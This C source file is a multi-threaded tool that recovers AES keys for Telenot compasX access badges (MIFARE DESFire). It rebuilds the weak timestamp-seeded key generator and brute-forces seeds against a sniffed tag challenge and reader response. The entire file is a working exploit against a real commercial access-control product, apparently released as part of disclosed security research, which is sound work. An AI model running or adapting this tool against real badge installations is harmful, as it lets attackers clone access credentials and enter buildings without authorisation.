//  Multi threaded bruteforce tool
//  for transponder AES keys generated by Telenot's compasX software
//  Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
//  Copyright (C) 2022 Iceman
//
//  This program is free software: you can redistribute it and/or modify
//  it under the terms of the GNU General Public License as published by
//  the Free Software Foundation, either version 3 of the License, or
//  (at your option) any later version.
//
//  This program is distributed in the hope that it will be useful,
//  but WITHOUT ANY WARRANTY; without even the implied warranty of
//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//  GNU General Public License for more details.
//
//  You should have received a copy of the GNU General Public License
//  along with this program.  If not, see <https://www.gnu.org/licenses/>.

#define __STDC_FORMAT_MACROS

#if !defined(_WIN32) && !defined(__APPLE__)
#define _POSIX_C_SOURCE 200112L  // need localtime_r()
#endif

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include <limits.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include "util_posix.h"

#define AEND  "\x1b[0m"
#define _RED_(s) "\x1b[31m" s AEND
#define _GREEN_(s) "\x1b[32m" s AEND
#define _YELLOW_(s) "\x1b[33m" s AEND
#define _CYAN_(s) "\x1b[36m" s AEND

// a global mutex to prevent interlaced printing from different threads
pthread_mutex_t print_lock;

static int global_found = 0;
static int thread_count = 2;

typedef struct thread_args {
    int thread;
    int idx;
    uint64_t starttime;
    uint64_t stoptime;
    uint8_t tag[16];
    uint8_t rdr[32];
} targs;

static void make_key(uint32_t seed, uint8_t key[]) {

    uint32_t lseed = seed;
    lseed = (lseed * 22695477) % UINT_MAX;
    lseed = (lseed + 1) % UINT_MAX;

    for (int i = 0; i < 16; i++) {
        lseed = (lseed * 22695477) % UINT_MAX;
        lseed = (lseed + 1) % UINT_MAX;
        key[i] = ((lseed >> 16) & 0x7fff) % 0xFF;
    }
}

static void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
static int decrypt_aes(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
    EVP_CIPHER_CTX *ctx;
    if (!(ctx = EVP_CIPHER_CTX_new()))
        handleErrors();

    if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
        handleErrors();

    EVP_CIPHER_CTX_set_padding(ctx, 0);

    int len = 0;
    if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
        handleErrors();

    int plaintext_len = len;

    if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
        handleErrors();

    plaintext_len += len;

    EVP_CIPHER_CTX_free(ctx);
    return plaintext_len;
}

static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
    size_t hexstr_len = strlen(hexstr);
    if (hexstr_len % 16) {
        return 1;
    }

    if (byte_len < (hexstr_len / 2)) {
        return 2;
    }

    char *pos = &hexstr[0];
    for (size_t count = 0; *pos != 0; count++) {
        sscanf(pos, "%2hhx", &bytes[count]);
        pos += 2;
    }
    return 0;
}

static void print_hex(const uint8_t *data, const size_t len) {
    if (data == NULL || len == 0) return;

    for (size_t i = 0; i < len; i++) {
        printf("%02X", data[i]);
    }

    printf("\n");
}

static void print_time(uint64_t at) {

    time_t t = at;
    struct tm lt;

#if defined(_WIN32)
    (void)localtime_s(&lt, &t);
#else
    (void)localtime_r(&t, &lt);
#endif

    char res[32];
    strftime(res, sizeof(res), "%Y-%m-%d %H:%M:%S", &lt);

    printf("%u  ( '%s' )\n", (unsigned)t, res);
}

static void *brute_thread(void *arguments) {

    struct thread_args *args = (struct thread_args *) arguments;

    uint64_t starttime = args->starttime;

    uint64_t stoptime = args->stoptime;
    uint8_t local_tag[16];
    uint8_t local_rdr[32];
    memcpy(local_tag, args->tag, 16);
    memcpy(local_rdr, args->rdr, 32);

    for (uint64_t i = starttime + args->idx; i < stoptime; i += thread_count) {

        if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) {
            break;
        }

        uint8_t key[16] = {0x00};
        make_key(i, key);

        uint8_t iv[16] = {0x00};
        uint8_t dec_tag[16] = {0x00};
        decrypt_aes(local_tag, 16, key, iv, dec_tag);

        uint8_t dec_rdr[32] = {0x00};
        decrypt_aes(local_rdr, 32, key, local_tag, dec_rdr);

        // check rol byte first
        if (dec_tag[0] != dec_rdr[31]) continue;

        // compare rest
        if (dec_tag[1] != dec_rdr[16]) continue;
        if (dec_tag[2] != dec_rdr[17]) continue;
        if (dec_tag[3] != dec_rdr[18]) continue;
        if (dec_tag[4] != dec_rdr[19]) continue;
        if (dec_tag[5] != dec_rdr[20]) continue;
        if (dec_tag[6] != dec_rdr[21]) continue;
        if (dec_tag[7] != dec_rdr[22]) continue;
        if (dec_tag[8] != dec_rdr[23]) continue;
        if (dec_tag[9] != dec_rdr[24]) continue;
        if (dec_tag[10] != dec_rdr[25]) continue;
        if (dec_tag[11] != dec_rdr[26]) continue;
        if (dec_tag[12] != dec_rdr[27]) continue;
        if (dec_tag[13] != dec_rdr[28]) continue;
        if (dec_tag[14] != dec_rdr[29]) continue;
        if (dec_tag[15] != dec_rdr[30]) continue;

        __sync_fetch_and_add(&global_found, 1);

        // lock this section to avoid interlacing prints from different threats
        pthread_mutex_lock(&print_lock);

        printf("Found timestamp........ ");
        print_time(i);

        printf("key.................... \x1b[32m");
        print_hex(key, sizeof(key));
        printf(AEND);

        pthread_mutex_unlock(&print_lock);
        break;
    }

    free(args);
    return NULL;
}

static int usage(const char *s) {
    printf(_YELLOW_("syntax:") "\n");
    printf("    %s <unix timestamp> <16 byte tag challenge> <32 byte reader response challenge>\n", s);
    printf("\n");
    printf(_YELLOW_("example:") "\n");
    printf("    ./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c\n");
    printf("\n");
    return 1;
}

int main(int argc, char *argv[]) {

    printf("\n");
    printf(_CYAN_("Telenot access MIFARE DESFire AES key recovery tool") "\n");
    printf("multi-threaded edition\n");
    printf("-----------------------------------------------------\n");
    printf("\n");

    if (argc != 4) return usage(argv[0]);

    uint64_t start_time = atoi(argv[1]);

    uint8_t tag_challenge[16] = {0x00};
    if (hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
        return 2;

    uint8_t rdr_resp_challenge[32] = {0x00};
    if (hexstr_to_byte_array(argv[3], rdr_resp_challenge, sizeof(rdr_resp_challenge)))
        return 3;

    printf("Starting timestamp..... ");
    print_time(start_time);

    printf("Tag Challenge.......... ");
    print_hex(tag_challenge, sizeof(tag_challenge));

    printf("Rdr Resp & Challenge... ");
    print_hex(rdr_resp_challenge, sizeof(rdr_resp_challenge));


    uint64_t t1 = msclock();

#if !defined(_WIN32) || !defined(__WIN32__)
    thread_count = sysconf(_SC_NPROCESSORS_CONF);
    if (thread_count < 2)
        thread_count = 2;
#endif  /* _WIN32 */

    printf("\nBruteforce using " _YELLOW_("%d") " threads\n", thread_count);

    pthread_t threads[thread_count];

    // create a mutex to avoid interlacing print commands from our different threads
    pthread_mutex_init(&print_lock, NULL);

    // threads
    uint64_t stop_time = time(NULL);
    for (int i = 0; i < thread_count; ++i) {
        struct thread_args *a = calloc(1, sizeof(struct thread_args));
        a->thread = i;
        a->idx = i;
        a->starttime = start_time;
        a->stoptime = stop_time;
        memcpy(a->tag, tag_challenge, 16);
        memcpy(a->rdr, rdr_resp_challenge, 32);
        pthread_create(&threads[i], NULL, brute_thread, (void *)a);
    }

    // wait for threads to terminate:
    for (int i = 0; i < thread_count; ++i) {
        pthread_join(threads[i], NULL);
    }

    if (global_found == false) {
        printf("\n" _RED_("!!!") " failed to find a key\n\n");
    }

    t1 = msclock() - t1;
    if (t1 > 0) {
        printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
    }

    // clean up mutex
    pthread_mutex_destroy(&print_lock);
    return 0;
}